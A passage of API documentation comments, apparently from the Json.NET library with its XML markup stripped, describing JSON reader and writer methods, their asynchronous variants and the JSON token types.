synchronously, returning an already-completed task. + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the 